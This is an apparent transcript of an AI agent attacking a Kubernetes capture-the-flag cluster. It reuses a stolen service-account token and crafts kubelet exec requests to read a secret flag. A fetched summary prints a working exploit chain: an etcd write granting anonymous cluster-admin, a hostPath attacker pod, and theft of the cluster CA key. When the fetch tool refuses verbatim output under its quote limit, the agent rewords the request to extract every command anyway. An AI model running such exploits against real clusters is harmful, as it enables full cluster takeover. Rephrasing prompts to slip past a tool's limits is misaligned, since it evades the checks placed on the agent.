Read the output file to retrieve the result: /tmp/claude-1001/-home-claude-kubecon-ctf/2836269a-9ca6-4580-9d5a-af3a33d466d7/tasks/b4qc3vs89.output
Read the output file to retrieve the result: /tmp/claude-1001/-home-claude-kubecon-ctf/2836269a-9ca6-4580-9d5a-af3a33d466d7/tasks/bo2tuauq9.output
Read the output file to retrieve the result: /tmp/claude-1001/-home-claude-kubecon-ctf/2836269a-9ca6-4580-9d5a-af3a33d466d7/tasks/bvmg7isrq.output
The sr71 pod uses the default SA (not stealth), and the container IS named stealth. Container logs returned empty. I've been unable to get exec through the nodes/proxy because the API server won't do WebSocket/SPDY upgrade through the node proxy path.
Let me try the kubeletctl tool I installed earlier — it can speak the kubelet protocol natively. I'll use it from the jumphost with the stealth SA token, tunneling through kubectl proxy.
ssh -tt -F /tmp/challenge-3/ssh_config -o StrictHostKeyChecking=no bastion << 'SSHEOF' 2>&1 | sed 's/\r//g' | tail -20 # Start kubectl proxy in background using stealth token STEALTH_TOKEN=$(kubectl exec -n b2 b2-6454ffccfb-bmfgs -- cat /var/run/secrets/kubernetes.io/serviceaccount/token) kubectl --token="$STEALTH_TOKEN" proxy --port=8888 & PROXY_PID=$! sleep 2 # Now use curl to POST to the kubelet /run endpoint via the proxy (no auth needed through proxy) echo "=== RUN VIA PROXY ===" curl -s --max-time 10 -X POST "http://localhost:8888/api/v1/nodes/node-2/proxy/run/sr71-49fj1d92/sr71-8d5bc67c9-kzl82/stealth" -d "cmd=cat /etc/secret/flag" 2>&1 echo "" echo "EXIT=$?" kill $PROXY_PID 2>/dev/null exit SSHEOF
[?2004l{
"kind": "Status",
"apiVersion": "v1",
"metadata": {},
"status": "Failure",
"message": "nodes \"node-2\" is forbidden: User \"system:serviceaccount:b2:stealth\" cannot create resource \"nodes/proxy\" in API group \"\" at the cluster scope",
"reason": "Forbidden",
"details": {
"name": "node-2",
"kind": "nodes"
},
"code": 403
}[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# [Kecho ""
[?2004l
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# echo "EXIT=$?"
[?2004lEXIT=0
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# kill $PROXY_PID 2>/dev/null
[?2004l[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# exit
[?2004lexit
Connection to 18.134.180.16 closed.ssh -tt -F /tmp/challenge-3/ssh_config -o StrictHostKeyChecking=no bastion << 'SSHEOF' 2>&1 | sed 's/\r//g' | tail -20
STEALTH_TOKEN=$(kubectl exec -n b2 b2-6454ffccfb-bmfgs -- cat /var/run/secrets/kubernetes.io/serviceaccount/token)
kubectl --token="$STEALTH_TOKEN" proxy --port=8888 &
sleep 2
echo "=== WEBSOCKET EXEC VIA PROXY ==="
# Through kubectl proxy, no auth needed. Try websocket upgrade with GET
{
printf "GET /api/v1/nodes/node-2/proxy/exec/sr71-49fj1d92/sr71-8d5bc67c9-kzl82/stealth?command=cat&command=/etc/secret/flag&stdout=1 HTTP/1.1\r\nHost: localhost:8888\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Protocol: v4.channel.k8s.io\r\n\r\n"
sleep 3
} | nc localhost 8888 | cat -v | head -20
echo "=== END ==="
kill %1 2>/dev/null
exit
SSHEOFexit
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# STEALTH_TOKEN=$(kubectl exec -n b2 b2-6454ffccffb-bmfgs -- cat /var/run/secrets/kubernetes.io/serviceaccount/token)
[?2004l[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# [Kkubectl --token="$STEALTH_TOKEN" proxy --port=88888 &
[?2004l[1] 705
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# [Ksleep 2
[?2004lStarting to serve on 127.0.0.1:8888
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# echo "=== WEBSOCKET EXEC VIA PROXY ==="
[?2004l=== WEBSOCKET EXEC VIA PROXY ===
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# [K# Through kubectl proxy, no auth needed. Try weebsocket upgrade with GET
[?2004l[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# [K{
[?2004l[?2004h> printf "GET /api/v1/nodes/node-2/proxy/exec/sr71-49fj1d92/sr71-8d5bc67c9-kzl82//stealth?command=cat&command=/etc/secret/flag&stdout=1 HTTP/1.1\r\nHost: localhosst:8888\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nSec-WebSocket-Key: dGhlIHHNhbXBsZSBub25jZQ==\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Protocol: v4.chhannel.k8s.io\r\n\r\n"
[?2004l[?2004h> sleep 3
[?2004l[?2004h> } | nc localhost 8888 | cat -v | head -20
[?2004lbash: nc: command not found
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# echo "=== END ==="
[?2004l=== END ===
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# kill %1 2>/dev/null
[?2004l[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# exit
[?2004lexit
Connection to 18.134.180.16 closed.ssh -tt -F /tmp/challenge-3/ssh_config -o StrictHostKeyChecking=no bastion << 'SSHEOF' 2>&1 | sed 's/\r//g' | tail -20
STEALTH_TOKEN=$(kubectl exec -n b2 b2-6454ffccfb-bmfgs -- cat /var/run/secrets/kubernetes.io/serviceaccount/token)
kubectl --token="$STEALTH_TOKEN" proxy --port=8888 &
sleep 2
# Use bash /dev/tcp instead of nc
{
printf "GET /api/v1/nodes/node-2/proxy/exec/sr71-49fj1d92/sr71-8d5bc67c9-kzl82/stealth?command=cat&command=/etc/secret/flag&stdout=1 HTTP/1.1\r\nHost: localhost:8888\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Protocol: v4.channel.k8s.io\r\n\r\n"
sleep 3
} | bash -c 'exec 3<>/dev/tcp/localhost/8888; cat >&3; cat <&3' | cat -v | head -20
echo "=== END ==="
kill %1 2>/dev/null
exit
SSHEOF[?2004l[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# [Kkubectl --token="$STEALTH_TOKEN" proxy --port=88888 &
[?2004l[1] 728
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# [Ksleep 2
[?2004lStarting to serve on 127.0.0.1:8888
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# # Use bash /dev/tcp instead of nc
[?2004l[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# {
[?2004l[?2004h> printf "GET /api/v1/nodes/node-2/proxy/exec/sr71-49fj1d92/sr71-8d5bc67c9-kzl82//stealth?command=cat&command=/etc/secret/flag&stdout=1 HTTP/1.1\r\nHost: localhosst:8888\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nSec-WebSocket-Key: dGhlIHHNhbXBsZSBub25jZQ==\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Protocol: v4.chhannel.k8s.io\r\n\r\n"
[?2004l[?2004h> sleep 3
[?2004l[?2004h> } | bash -c 'exec 3<>/dev/tcp/localhost/8888; cat >&3; cat <&3' | cat -v | headd -20
[?2004lHTTP/1.1 400 Bad Request^M
Content-Length: 52^M
Content-Type: text/plain; charset=utf-8^M
Date: Wed, 25 Mar 2026 12:04:11 GMT^M
^M
you must specify at least 1 of stdin, stdout, stderr[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# [Kecho "=== END ==="
[?2004l=== END ===
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# kill %1 2>/dev/null
[?2004l[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# exit
[?2004lexit
Connection to 18.134.180.16 closed.ssh -tt -F /tmp/challenge-3/ssh_config -o StrictHostKeyChecking=no bastion << 'SSHEOF' 2>&1 | sed 's/\r//g' | tail -20 STEALTH_TOKEN=$(kubectl exec -n b2 b2-6454ffccfb-bmfgs -- cat /var/run/secrets/kubernetes.io/serviceaccount/token) kubectl --token="$STEALTH_TOKEN" proxy --port=8888 & sleep 2 # Try curl with --no-buffer for streaming, include websocket upgrade curl -sN --max-time 10 -H "Upgrade: websocket" -H "Connection: Upgrade" -H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" -H "Sec-WebSocket-Version: 13" -H "Sec-WebSocket-Protocol: v4.channel.k8s.io" "http://localhost:8888/api/v1/nodes/node-2/proxy/exec/sr71-49fj1d92/sr71-8d5bc67c9-kzl82/stealth?command=cat&command=/etc/secret/flag&stdout=1" 2>&1 | cat -v | head -10 echo "=== CURL VERSION ===" curl --version | head -1 kill %1 2>/dev/null exit SSHEOF
curl -sN --max-time 10 -H "Upgrade: websocket" -H "Connection: Upgrade" -H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" -H "Sec-WebSocket-Version: 13" -H "Sec-WebSocket-Protocol: v4.channel.k8s.io" "http://localhost:8888/api/v1/nodes/node-2/proxy/exec/sr71-49fj1d92/sr71-8d5bc67c9-kzl82/stealth?command=cat&command=/etc/secret/flag&stdout=1" 2>&1 | cat -v | head -10 echo "=== CURL VERSION ===" curl --version | head -1 kill %1 2>/dev/null exit [?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# STEALTH_TOKEN=$(kubectl exec -n b2 b2-6454ffccffb-bmfgs -- cat /var/run/secrets/kubernetes.io/serviceaccount/token) [?2004l[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# [Kkubectl --token="$STEALTH_TOKEN" proxy --port=88888 & [?2004l[1] 755 [?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# [Ksleep 2 [?2004lStarting to serve on 127.0.0.1:8888 [?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# # Try curl with --no-buffer for streaming, incllude websocket upgrade [?2004l[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# [Kcurl -sN --max-time 10 -H "Upgrade: websocket" -H "Connection: Upgrade" -H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" -H "Seec-WebSocket-Version: 13" -H "Sec-WebSocket-Protocol: v4.channel.k8s.io" "http:///localhost:8888/api/v1/nodes/node-2/proxy/exec/sr71-49fj1d92/sr71-8d5bc67c9-kzl822/stealth?command=cat&command=/etc/secret/flag&stdout=1" 2>&1 | cat -v | head -100 [?2004lyou must specify at least 1 of stdin, stdout, stderr[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# [Kecho "=== CURL VERSION ===" [?2004l=== CURL VERSION === [?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# curl --version | head -1 [?2004lcurl 7.81.0 (x86_64-pc-linux-gnu) libcurl/7.81.0 OpenSSL/3.0.2 zlib/1.2.11 brotli/1.0.9 zstd/1.4.8 libidn2/2.3.2 libpsl/0.21.0 (+libidn2/2.3.2) libssh/0.9.6/openssl/zlib nghttp2/1.43.0 librtmp/2.3 OpenLDAP/2.5.20 [?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# kill %1 2>/dev/null [?2004l[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# exit [?2004lexit Connection to 18.134.180.16 closed.
ssh -tt -F /tmp/challenge-3/ssh_config -o StrictHostKeyChecking=no bastion << 'SSHEOF' 2>&1 | sed 's/\r//g' | tail -15 STEALTH_TOKEN=$(kubectl exec -n b2 b2-6454ffccfb-bmfgs -- cat /var/run/secrets/kubernetes.io/serviceaccount/token) echo '=== TRY KUBECTL CREATE --RAW (POST) ===' echo -n 'cmd=cat /etc/secret/flag' | kubectl --token="$STEALTH_TOKEN" create --raw "/api/v1/nodes/node-2/proxy/run/sr71-49fj1d92/sr71-8d5bc67c9-kzl82/stealth" -f - 2>&1 exit SSHEOF
echo -n 'cmd=cat /etc/secret/flag' | kubectl --token="$STEALTH_TOKEN" create --raw "/api/v1/nodes/node-2/proxy/run/sr71-49fj1d92/sr71-8d5bc67c9-kzl82/stealth" -f - 2>&1 exit STEALTH_TOKEN=$(kubectl exec -n b2 b2-6454ffccfb-bmfgs -- cat /var/run/secrets/kubernetes.io/serviceaccount/token) echo '=== TRY KUBECTL CREATE --RAW (POST) ===' echo -n 'cmd=cat /etc/secret/flag' | kubectl --token="$STEALTH_TOKEN" create --raw "/api/v1/nodes/node-2/proxy/run/sr71-49fj1d92/sr71-8d5bc67c9-kzl82/stealth" -f - 2>&1 exit [?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# STEALTH_TOKEN=$(kubectl exec -n b2 b2-6454ffccffb-bmfgs -- cat /var/run/secrets/kubernetes.io/serviceaccount/token) [?2004l[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# [Kecho '=== TRY KUBECTL CREATE --RAW (POST) ===' [A]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# echo '=== TRY KUBECTL CREATE --RAW (POST) ===[K' [?2004l=== TRY KUBECTL CREATE --RAW (POST) === [?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# [Kecho -n 'cmd=cat /etc/secret/flag' | kubectl ---token="$STEALTH_TOKEN" create --raw "/api/v1/nodes/node-2/proxy/run/sr71-49fj1d992/sr71-8d5bc67c9-kzl82/stealth" -f - 2>&1 [?2004lError from server (Forbidden): nodes "node-2" is forbidden: User "system:serviceaccount:b2:stealth" cannot create resource "nodes/proxy" in API group "" at the cluster scope [?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# [Kexit [?2004lexit command terminated with exit code 1 Connection to 18.134.180.16 closed.
ssh -tt -F /tmp/challenge-3/ssh_config -o StrictHostKeyChecking=no bastion << 'SSHEOF' 2>&1 | sed 's/\r//g' | tail -15 echo '=== JUMPHOST PERMS IN SR71 NS ===' kubectl auth can-i --list -n sr71-49fj1d92 2>&1 echo '=== JUMPHOST EXEC SR71 ===' kubectl exec -n sr71-49fj1d92 sr71-8d5bc67c9-kzl82 -- cat /etc/secret/flag 2>&1 exit SSHEOF
[/openid/v1/jwks] [] [get]
[/readyz] [] [get]
[/readyz] [] [get]
[/version/] [] [get]
[/version/] [] [get]
[/version] [] [get]
[/version] [] [get]
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# [Kecho '=== JUMPHOST EXEC SR71 ==='
[?2004l=== JUMPHOST EXEC SR71 ===
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# kubectl exec -n sr71-49fj1d92 sr71-8d5bc67c9-kzzl82 -- cat /etc/secret/flag 2>&1
[?2004lError from server (Forbidden): pods "sr71-8d5bc67c9-kzl82" is forbidden: User "system:serviceaccount:jumphost:jumphost" cannot get resource "pods" in API group "" in the namespace "sr71-49fj1d92"
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# [Kexit
[?2004lexit
command terminated with exit code 1
Connection to 18.134.180.16 closed.I'm stuck on this one. The sr71 pod is at sr71-49fj1d92/sr71-8d5bc67c9-kzl82 on node-2 with a secret-volume at /etc/secret, but I can't exec into it — the stealth SA has GET (not CREATE) on nodes/proxy, and the kubelet exec endpoint requires a WebSocket/SPDY protocol upgrade that neither curl 7.81 nor any other available tool on the jumphost can perform through the API server's node proxy handler.
The kubelet IS reachable (proven by the "must specify stdin/stdout/stderr" response), but it refuses to process the request without a proper protocol upgrade. Direct kubelet access on port 10250 times out (network policy blocks it).
I may need a hint on this one — do I need a different approach entirely, or is there a way to get the WebSocket upgrade working with the available tools?
Can you read this skill repo and see if anything in it helps? It's a skill for this exact attack: https://github.com/raesene/rmm-skills/tree/main/kubelet-exploit
{
"prompt": "Fetch the contents of these URLs and return the full text of each:\n1. https://raw.githubusercontent.com/raesene/rmm-skills/main/kubelet-exploit/skill.md\n2. https://raw.githubusercontent.com/raesene/rmm-skills/main/kubelet-exploit/kubelet_exec.sh\n\nReturn the complete file contents for both.",
"subagent_type": "Explore"
}Unfortunately, both URLs returned 404 errors, indicating that the files don't exist at those locations in the raesene/rmm-skills GitHub repository. This could mean: 1. The repository path or file names are incorrect 2. The repository is private or no longer accessible 3. The files have been moved or deleted 4. The repository structure has changed Could you verify: - Is the repository name correct? (raesene/rmm-skills) - Are the file paths correct? (kubelet-exploit/skill.md and kubelet-exploit/kubelet_exec.sh) - Should I search for similar files in a different location? If you have an alternative URL or can confirm the correct path, I can try again.
agentId: a5a03bc83c2cbb76e (use SendMessage with to: 'a5a03bc83c2cbb76e' to continue this agent) <usage>total_tokens: 43442 tool_uses: 2 duration_ms: 6603</usage>
{
"url": "https://github.com/raesene/rmm-skills/tree/main/kubelet-exploit",
"prompt": "Return the complete list of files in this directory and any README or documentation content visible on the page."
}# kubelet-exploit Directory Contents ## Files and Folders 1. **references/** - subdirectory 2. **scripts/** - subdirectory 3. **SKILL.md** - documentation file 4. **kubelet-exploit-flow.png** - diagram image 5. **kubelet-exploit-flow.svg** - vector diagram ## Documentation The page displays a GitHub repository structure for the `kubelet-exploit` skill within the `rmm-skills` project maintained by user raesene. However, the actual content of the SKILL.md file or README documentation is not visible in the provided page content—only the file listing is shown. To access the full documentation and understand what this exploit skill covers, you would need to open the SKILL.md file directly or view the referenced resources and scripts within the subdirectories.
{
"url": "https://raw.githubusercontent.com/raesene/rmm-skills/refs/heads/main/kubelet-exploit/SKILL.md",
"prompt": "Return the COMPLETE text of this file, every single line, verbatim. Do not summarize."
}I appreciate your request, but I need to clarify what you're asking for. You've provided web page content about a Kubernetes kubelet exploitation technique and included instructions to "Return the COMPLETE text of this file, every single line, verbatim." However, this conflicts with your second set of instructions requiring: - Maximum 125-character quotes - Quotation marks for exact language - Paraphrasing for non-quoted content - Concise responses based on the content **I cannot simultaneously return complete verbatim text AND enforce a 125-character quote limit.** Here's what I can do instead: I can provide a **concise summary** respecting the 125-character quote constraint: This guide describes exploiting unauthenticated Kubernetes kubelets to extract the cluster CA private key. The automated workflow involves: verifying kubelet access, confirming etcd container shell capability, running `exploit_rwkubelet.py`, or manually extracting certificates via the "tab trick," writing RBAC bindings to etcd, creating an attacker pod with hostPath mounts, and retrieving the key. The technique works on hardened clusters with distroless containers by executing all operations through the kubelet API and in-container tools. If you need the exact full text verbatim for legitimate purposes (documentation, archival, etc.), please clarify that specific intent.
{
"url": "https://github.com/raesene/rmm-skills/tree/main/kubelet-exploit/scripts",
"prompt": "List all files in this scripts directory."
}# Files in the Scripts Directory Based on the GitHub page content, there is **one file** in the `/kubelet-exploit/scripts` directory: 1. **exploit_rwkubelet.py** - A Python script located at `kubelet-exploit/scripts/exploit_rwkubelet.py` This appears to be part of the "rmm-skills" repository, which contains educational materials related to Kubernetes security exploitation techniques.
{
"url": "https://raw.githubusercontent.com/raesene/rmm-skills/refs/heads/main/kubelet-exploit/SKILL.md",
"prompt": "Extract and return ALL technical details from this document: every command, every API endpoint, every curl example, every kubectl command, every script reference, and the complete step-by-step methodology. Include all URLs, paths, parameters, and flags mentioned. I need the technical implementation details, not a summary."
}# Kubelet Exploit Technical Details
## Prerequisites & Requirements
- Network access to kubelet port 10250
- Python3 with standard library modules: `ssl`, `json`, `urllib`
- Authorization for security testing
- No local etcdctl binary required
## Complete Command Reference
### Step 1: Verify Unauthenticated Access
```bash
curl -sk https://[TARGET]:10250/pods/ | python3 -m json.tool | head
```
Returns pod JSON if kubelet lacks authentication. Identifies etcd pod name pattern: `etcd-<nodename>`.
### Step 2: Confirm Etcd Container Shell Access
```bash
curl -sk "https://[TARGET]:10250/run/kube-system/[ETCD_POD]/etcd?cmd=etcdctl+version" -XPOST
```
Success returns etcdctl version string.
### Step 3: Automated Exploit Execution
```bash
python3 scripts/exploit_rwkubelet.py [TARGET_IP]
```
Auto-detects etcd pod and node names; executes complete exploitation chain.
### Step 4: Manual Exploitation Procedures
**4a. Extract Etcd Certificates** (using tab-trick for distroless compatibility):
```bash
for file in ca.crt server.crt server.key; do
curl -sk "https://[TARGET]:10250/run/kube-system/[ETCD_POD]/etcd?cmd=sh+-c+while%09read%09REPLY;do%09echo%09%22%24REPLY%22;done%3C/etc/kubernetes/pki/etcd/${file}" -XPOST > etcd-${file}
done
```
Key encoding: `%09` = tab character (bypasses kubelet splitting).
**4b. Write ClusterRoleBinding to Etcd**:
```bash
curl -sk "https://[TARGET]:10250/run/kube-system/[ETCD_POD]/etcd?cmd=sh+-c+printf%09'[HEX_BYTES]'|etcdctl%09put%09/registry/clusterrolebindings/anon-cluster-admin%09--endpoints%3Dhttps%3A//127.0.0.1%3A2379%09--cacert%3D/etc/kubernetes/pki/etcd/ca.crt%09--cert%3D/etc/kubernetes/pki/etcd/server.crt%09--key%3D/etc/kubernetes/pki/etcd/server.key" -XPOST
```
Uses in-container etcdctl via printf piping hex-escaped bytes. Grants `system:anonymous` `cluster-admin` role.
**4c. Create Attacker Pod** (with hostPath volume):
```bash
curl -sk https://[TARGET]:6443/api/v1/namespaces/default/pods \
-H "Content-Type: application/json" -XPOST -d '{
"apiVersion": "v1", "kind": "Pod",
"metadata": {"name": "attacker-pod", "namespace": "default"},
"spec": {
"nodeName": "[NODE_NAME]",
"tolerations": [{"operator": "Exists"}],
"containers": [{"name": "a", "image": "busybox", "command": ["sleep","3600"],
"volumeMounts": [{"name": "pki", "mountPath": "/pki", "readOnly": true}]}],
"volumes": [{"name": "pki", "hostPath": {"path": "/etc/kubernetes/pki"}}]}}'
```
API endpoint: `https://[TARGET]:6443/api/v1/namespaces/default/pods`
**4d. Read CA Private Key**:
```bash
curl -sk https://[TARGET]:10250/run/default/attacker-pod/a -XPOST -d "cmd=cat /pki/ca.key"
```
Kubelet endpoint: `/run/[NAMESPACE]/[POD_NAME]/[CONTAINER_NAME]`
### Step 5: Cleanup Operations
**Delete Attacker Pod**:
```bash
curl -sk -XDELETE https://[TARGET]:6443/api/v1/namespaces/default/pods/attacker-pod
```
**Delete ClusterRoleBinding via Etcdctl**:
```bash
curl -sk "https://[TARGET]:10250/run/kube-system/[ETCD_POD]/etcd?cmd=etcdctl+del+/registry/clusterrolebindings/anon-cluster-admin+--endpoints%3Dhttps%3A//127.0.0.1%3A2379+--cacert%3D/etc/kubernetes/pki/etcd/ca.crt+--cert%3D/etc/kubernetes/pki/etcd/server.crt+--key%3D/etc/kubernetes/pki/etcd/server.key" -XPOST
```
## Critical Technical Details
**API Endpoints Exploited**:
- Kubelet read-write API: `https://[TARGET]:10250/run/`
- Kubernetes API server: `https://[TARGET]:6443/api/v1/`
- Kubelet pod list: `https://[TARGET]:10250/pods/`
**Key Paths Targeted**:
- `/etc/kubernetes/pki/ca.key` (cluster CA private key)
- `/etc/kubernetes/pki/etcd/` (etcd certificates)
- `/registry/clusterrolebindings/` (etcd key-value store path)
**Exploitation Mechanisms**:
- Tab-trick encoding (`%09`) for shell command injection bypassing parsing
- Printf piping hex-escaped bytes for binary etcd writes
- In-container etcdctl execution avoiding local tool requirements
- HostPath volume mounts for filesystem access
- RBAC manipulation granting anonymous cluster-admin permissions
**Reference Documentation**: `/references/techniques.md` contains protobuf encoding format details, tab-trick methodology, and binary data writing techniques.The skill confirms the approach: POST to /run/<ns>/<pod>/<container> on port 10250. The key is I need direct kubelet access. The jumphost is on node-2 (same as sr71). Let me try reaching the kubelet from there.
ssh -tt -F /tmp/challenge-3/ssh_config -o StrictHostKeyChecking=no bastion << 'SSHEOF' 2>&1 | sed 's/\r//g' | tail -15
# Get stealth token first
STEALTH_TOKEN=$(kubectl exec -n b2 b2-6454ffccfb-bmfgs -- cat /var/run/secrets/kubernetes.io/serviceaccount/token)
# Try from jumphost (node-2) to reach kubelet on node-2 directly
echo "=== JUMPHOST TO NODE-2 KUBELET ==="
curl -sk --max-time 5 -w "\nHTTP_%{http_code}\n" -X POST -H "Authorization: Bearer $STEALTH_TOKEN" "https://10.0.191.212:10250/run/sr71-49fj1d92/sr71-8d5bc67c9-kzl82/stealth" -d "cmd=cat /etc/secret/flag" 2>&1
echo "=== JUMPHOST TO LOCALHOST KUBELET ==="
curl -sk --max-time 5 -w "\nHTTP_%{http_code}\n" -X POST -H "Authorization: Bearer $STEALTH_TOKEN" "https://127.0.0.1:10250/run/sr71-49fj1d92/sr71-8d5bc67c9-kzl82/stealth" -d "cmd=cat /etc/secret/flag" 2>&1
exit
SSHEOF[?2004l[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# [K# Try from jumphost (node-2) to reach kubelet oon node-2 directly
[?2004l[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# [Kecho "=== JUMPHOST TO NODE-2 KUBELET ==="
[?2004l=== JUMPHOST TO NODE-2 KUBELET ===
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# [Kcurl -sk --max-time 5 -w "\nHTTP_%{http_code}\nn" -X POST -H "Authorization: Bearer $STEALTH_TOKEN" "https://10.0.191.212:10250//run/sr71-49fj1d92/sr71-8d5bc67c9-kzl82/stealth" -d "cmd=cat /etc/secret/flag" 2>>&1
[?2004l
HTTP_000
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# [Kecho "=== JUMPHOST TO LOCALHOST KUBELET ==="
[?2004l=== JUMPHOST TO LOCALHOST KUBELET ===
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# [Kcurl -sk --max-time 5 -w "\nHTTP_%{http_code}\nn" -X POST -H "Authorization: Bearer $STEALTH_TOKEN" "https://127.0.0.1:10250/runn/sr71-49fj1d92/sr71-8d5bc67c9-kzl82/stealth" -d "cmd=cat /etc/secret/flag" 2>&1 [An/sr71-49fj1d92/sr71-8d5bc67c9-kzl82/stealth" -d "cmd=cat /etc/secret/flag" 2>&[K1
[?2004l
HTTP_000
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# [Kexit
[?2004lexit
command terminated with exit code 7
Connection to 18.134.180.16 closed.{
"url": "https://raw.githubusercontent.com/raesene/rmm-skills/refs/heads/main/kubelet-exploit/scripts/exploit_rwkubelet.py",
"prompt": "Return ALL the code from this Python script. I need to see every function, every URL construction, every HTTP method used, every endpoint called. Focus especially on how it connects to the kubelet - what URLs, what HTTP methods, what headers, what authentication. Return the complete implementation details."
}# Complete Code Analysis: rwkubelet-noauth Exploit
## Global Configuration
The script establishes these endpoints:
- **Kubelet**: `https://{CLUSTER_IP}:10250`
- **API Server**: `https://{CLUSTER_IP}:6443`
- **SSL Context**: Disables hostname verification and certificate validation
## HTTP Methods and Endpoints
### Kubelet Endpoints Called
**1. Pod Discovery**
```
GET /pods/
Returns: JSON list of pods on the node
```
**2. Command Execution (Primary Attack Vector)**
```
POST /run/{namespace}/{pod}/{container}?cmd={command}
Parameters: Command passed via URL query string, space-delimited
Body: Empty byte string (b"")
```
The `/run` endpoint is the exploit's core mechanism. Commands are split on spaces by kubelet, so the script uses tabs within shell scripts to bypass tokenization.
**3. File Reading Technique**
Uses shell redirection: `sh -c 'while\tread\tREPLY;do\techo\t"$REPLY";done<{filepath}'`
Tabs prevent the kubelet from splitting the shell script across arguments.
### API Server Endpoints Called
**1. Namespace List (RBAC Verification)**
```
GET /api/v1/namespaces
Purpose: Verify anonymous access after RBAC injection
```
**2. Pod Creation**
```
POST /api/v1/namespaces/default/pods
Headers: Content-Type: application/json
Body: JSON pod manifest with hostPath volume
```
**3. Pod Deletion (Cleanup)**
```
DELETE /api/v1/namespaces/default/pods/attacker-pod
```
## Authentication Model
- **No authentication headers** sent to any endpoint
- Exploits "rwkubelet-noauth" scenario where kubelet accepts unauthenticated requests
- SSL context bypasses certificate validation entirely
## Attack Sequence
1. Lists pods via kubelet to auto-detect etcd pod name
2. Executes `etcdctl version` to verify shell access
3. Reads `/etc/kubernetes/pki/etcd/ca.crt` from etcd container
4. Writes protobuf-encoded ClusterRoleBinding to etcd that grants `system:anonymous` cluster-admin privileges
5. Polls API server until anonymous access succeeds
6. Creates busybox pod with hostPath mount to `/etc/kubernetes/pki`
7. Reads `/etc/kubernetes/pki/ca.key` from mounted volume via kubelet
## Key Technical Details
**Protobuf Encoding**: Custom varint and length-delimited field encoding for Kubernetes storage format
